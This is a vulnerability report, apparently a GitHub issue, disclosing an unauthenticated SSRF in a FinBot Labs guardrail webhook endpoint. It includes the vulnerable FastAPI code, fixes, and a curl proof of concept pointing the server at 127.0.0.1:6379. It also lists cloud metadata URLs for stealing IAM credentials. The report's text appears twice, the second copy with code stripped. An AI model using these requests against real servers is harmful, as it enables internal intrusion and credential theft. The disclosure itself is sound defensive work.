[Security] Unauthenticated SSRF via Guardrail Webhook URL : No URL Validation, No Auth Required
Summary
The FinBot Labs guardrail webhook configuration endpoint (PUT /labs/api/v1/guardrails) accepts an arbitrary webhook_url with no URL validation and no SSRF protection. The endpoint requires only a temporary (unauthenticated) session, meaning any anonymous visitor to the platform can register an internal URL (e.g., http://127.0.0.1:6379, http://localhost:8000/admin) as their webhook target.
Once registered, the server-side GuardrailHookService fires an HTTP POST to that URL during every guardrail hook invocation - or immediately via the /labs/api/v1/guardrails/test endpoint. This creates a fully exploitable blind Server-Side Request Forgery (SSRF) requiring zero authentication.
Affected Files
| File |
Lines |
Issue |
finbot/apps/labs/routes/guardrails.py |
L22–L27, L60–L80, L131–L148 |
No URL validation; get_session_context (allows temp/anonymous sessions) |
finbot/guardrails/service.py |
L147–L154 |
httpx.AsyncClient().post(config.webhook_url, ...) — direct fetch |
Root Cause: The Vulnerable Code
Step 1 : Webhook URL stored with no validation (guardrails.py)
class GuardrailConfigRequest(BaseModel):
webhook_url: str = Field(max_length=2048) # ← ONLY max length, no scheme/IP check
hooks: dict[str, bool] | None = None
timeout_seconds: int = Field(default=5, ge=1, le=30)
enabled: bool = True
No scheme enforcement (http://, file://, gopher:// all accepted).
No hostname/IP validation : http://127.0.0.1, http://metadata.internal/ allowed.
Step 2 : Endpoint uses get_session_context (not get_authenticated_session_context)
@router.put("", response_model=GuardrailConfigResponse, status_code=200)
async def upsert_guardrail_config(
body: GuardrailConfigRequest,
session_context: SessionContext = Depends(get_session_context), # ← ANONYMOUS OK
):
get_session_context returns any session, including temporary (unauthenticated) ones.
Any anonymous browser session can call this endpoint.
Step 3 : HTTP POST made directly to the attacker-controlled URL (service.py)
async with httpx.AsyncClient() as client:
resp = await client.post(
config.webhook_url, # ← Attacker-controlled internal URL
content=body_bytes,
headers=headers,
timeout=config.timeout_seconds,
)
No IP blocklist. No scheme restriction. No redirect protection. Direct outbound request.
Step 4 : Instant trigger via test endpoint (guardrails.py)
@router.post("/test")
async def test_webhook_delivery(
session_context: SessionContext = Depends(get_session_context), # ← ANONYMOUS OK
):
svc = GuardrailHookService(session_context=session_context, ...)
outcome = await svc.invoke(HookKind.before_tool, ...)
...
The attacker doesn't even need to wait for a real agent session. They can trigger the SSRF immediately by calling /labs/api/v1/guardrails/test.
Why This Is Not Covered by Existing Issues
None of these issues cover the guardrail webhook_url field itself. Despite is_ssrf_safe() existing in the codebase as a shared utility, it is not called anywhere in the guardrail registration or test pipeline.
Proof of Concept (No network required)
# Step 1: Get a session cookie (anonymous - any fresh browser visit gives one)
SESSION_COOKIE=$(curl -sc /tmp/cookies http://localhost:8000/ && cat /tmp/cookies | grep finbot_session | awk '{print $7}')
# Step 2: Register an internal URL as the guardrail webhook
curl -X PUT http://localhost:8000/labs/api/v1/guardrails \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: <from /api/session/status>" \
-b "finbot_session=${SESSION_COOKIE}" \
-d '{"webhook_url": "http://127.0.0.1:6379/", "enabled": true}'
# Step 3: Trigger the SSRF immediately
curl -X POST http://localhost:8000/labs/api/v1/guardrails/test \
-b "finbot_session=${SESSION_COOKIE}" \
-H "X-CSRF-Token: <same token>"
# Result: Server makes an outbound POST to http://127.0.0.1:6379/
# Redis (or any internal service) receives the request
Attack Scenarios
| Target |
Impact |
http://127.0.0.1:6379/ (Redis) |
Inject Redis commands (if not password-protected), read keys |
http://127.0.0.1:8000/admin |
Port scan / hit internal admin API endpoints |
http://169.254.169.254/latest/meta-data/ |
AWS IMDS - steal IAM credentials |
http://100.100.100.200/latest/meta-data/ |
Alibaba Cloud IMDS |
http://localhost:5432/ |
PostgreSQL banner enumeration via timing oracle |
| Any RFC-1918 or link-local address |
Internal network scanning |
Because timeout_seconds is user-controlled (1–30s), the attacker can also use timing differences to map open vs. closed ports on the internal network.
Impact
| Dimension |
Assessment |
| Authentication required |
None - anonymous temp sessions work |
| Interaction required |
Trigger once via /test, results visible in API response |
| Scope |
Internal network reachable from the server |
| Severity |
Critical (CVSS ≈ 9.1) |
| Existing mitigation |
None - is_ssrf_safe() exists in codebase but is not applied here |
Proposed Fix
Option A (Recommended) : Apply is_ssrf_safe() to the webhook URL before storing it:
# guardrails.py — upsert_guardrail_config
from finbot.apps.ctf.routes.profile import is_ssrf_safe
@router.put("", ...)
async def upsert_guardrail_config(body: GuardrailConfigRequest, ...):
if not is_ssrf_safe(body.webhook_url):
raise HTTPException(
status_code=422,
detail="Webhook URL must be a public HTTPS URL (private/loopback IPs are blocked)"
)
...
Option B : Require authenticated session for webhook registration:
@router.put("", ...)
async def upsert_guardrail_config(
body: GuardrailConfigRequest,
session_context: SessionContext = Depends(get_authenticated_session_context), # ← fix
):
This doesn't fix the SSRF but reduces the unauthenticated attack surface.
Option C (Defense-in-depth) : Apply both A and B.
Also apply is_ssrf_safe() validation in GuardrailHookService.invoke() as a second layer to catch any URL that slips through the registration layer.
Steps to Reproduce
- Open the platform in a fresh browser (anonymous session).
- Note the CSRF token from
GET /api/session/status.
PUT /labs/api/v1/guardrails with webhook_url = "http://127.0.0.1:6379/".
- Observe 200 OK and the URL stored in the database.
POST /labs/api/v1/guardrails/test - observe in server logs that an outbound POST was made to 127.0.0.1:6379.
Classification
|
|
| CWE |
CWE-918 (SSRF), CWE-306 (Missing Authentication for Critical Function) |
| OWASP Top 10 2021 |
A10 - Server-Side Request Forgery, A01 - Broken Access Control |
| Severity |
Critical |
| Existing utility to fix it |
is_ssrf_safe() in finbot/apps/ctf/routes/profile.py - just not applied here |
[Security] Unauthenticated SSRF via Guardrail Webhook URL : No URL Validation, No Auth Required
Summary
The FinBot Labs guardrail webhook configuration endpoint (
PUT /labs/api/v1/guardrails) accepts an arbitrarywebhook_urlwith no URL validation and no SSRF protection. The endpoint requires only a temporary (unauthenticated) session, meaning any anonymous visitor to the platform can register an internal URL (e.g.,http://127.0.0.1:6379,http://localhost:8000/admin) as their webhook target.Once registered, the server-side
GuardrailHookServicefires an HTTP POST to that URL during every guardrail hook invocation - or immediately via the/labs/api/v1/guardrails/testendpoint. This creates a fully exploitable blind Server-Side Request Forgery (SSRF) requiring zero authentication.Affected Files
finbot/apps/labs/routes/guardrails.pyget_session_context(allows temp/anonymous sessions)finbot/guardrails/service.pyhttpx.AsyncClient().post(config.webhook_url, ...)— direct fetchRoot Cause: The Vulnerable Code
Step 1 : Webhook URL stored with no validation (guardrails.py)
No scheme enforcement (
http://,file://,gopher://all accepted).No hostname/IP validation :
http://127.0.0.1,http://metadata.internal/allowed.Step 2 : Endpoint uses
get_session_context(notget_authenticated_session_context)get_session_contextreturns any session, including temporary (unauthenticated) ones.Any anonymous browser session can call this endpoint.
Step 3 : HTTP POST made directly to the attacker-controlled URL (service.py)
No IP blocklist. No scheme restriction. No redirect protection. Direct outbound request.
Step 4 : Instant trigger via test endpoint (guardrails.py)
The attacker doesn't even need to wait for a real agent session. They can trigger the SSRF immediately by calling
/labs/api/v1/guardrails/test.Why This Is Not Covered by Existing Issues
profile.py+share.py). Implementedget_safe_ssrf_ip()andis_ssrf_safe()as the fix.None of these issues cover the guardrail
webhook_urlfield itself. Despiteis_ssrf_safe()existing in the codebase as a shared utility, it is not called anywhere in the guardrail registration or test pipeline.Proof of Concept (No network required)
Attack Scenarios
http://127.0.0.1:6379/(Redis)http://127.0.0.1:8000/adminhttp://169.254.169.254/latest/meta-data/http://100.100.100.200/latest/meta-data/http://localhost:5432/Because
timeout_secondsis user-controlled (1–30s), the attacker can also use timing differences to map open vs. closed ports on the internal network.Impact
/test, results visible in API responseis_ssrf_safe()exists in codebase but is not applied hereProposed Fix
Option A (Recommended) : Apply
is_ssrf_safe()to the webhook URL before storing it:Option B : Require authenticated session for webhook registration:
This doesn't fix the SSRF but reduces the unauthenticated attack surface.
Option C (Defense-in-depth) : Apply both A and B.
Also apply
is_ssrf_safe()validation inGuardrailHookService.invoke()as a second layer to catch any URL that slips through the registration layer.Steps to Reproduce
GET /api/session/status.PUT /labs/api/v1/guardrailswithwebhook_url = "http://127.0.0.1:6379/".POST /labs/api/v1/guardrails/test- observe in server logs that an outbound POST was made to127.0.0.1:6379.Classification
is_ssrf_safe()infinbot/apps/ctf/routes/profile.py- just not applied here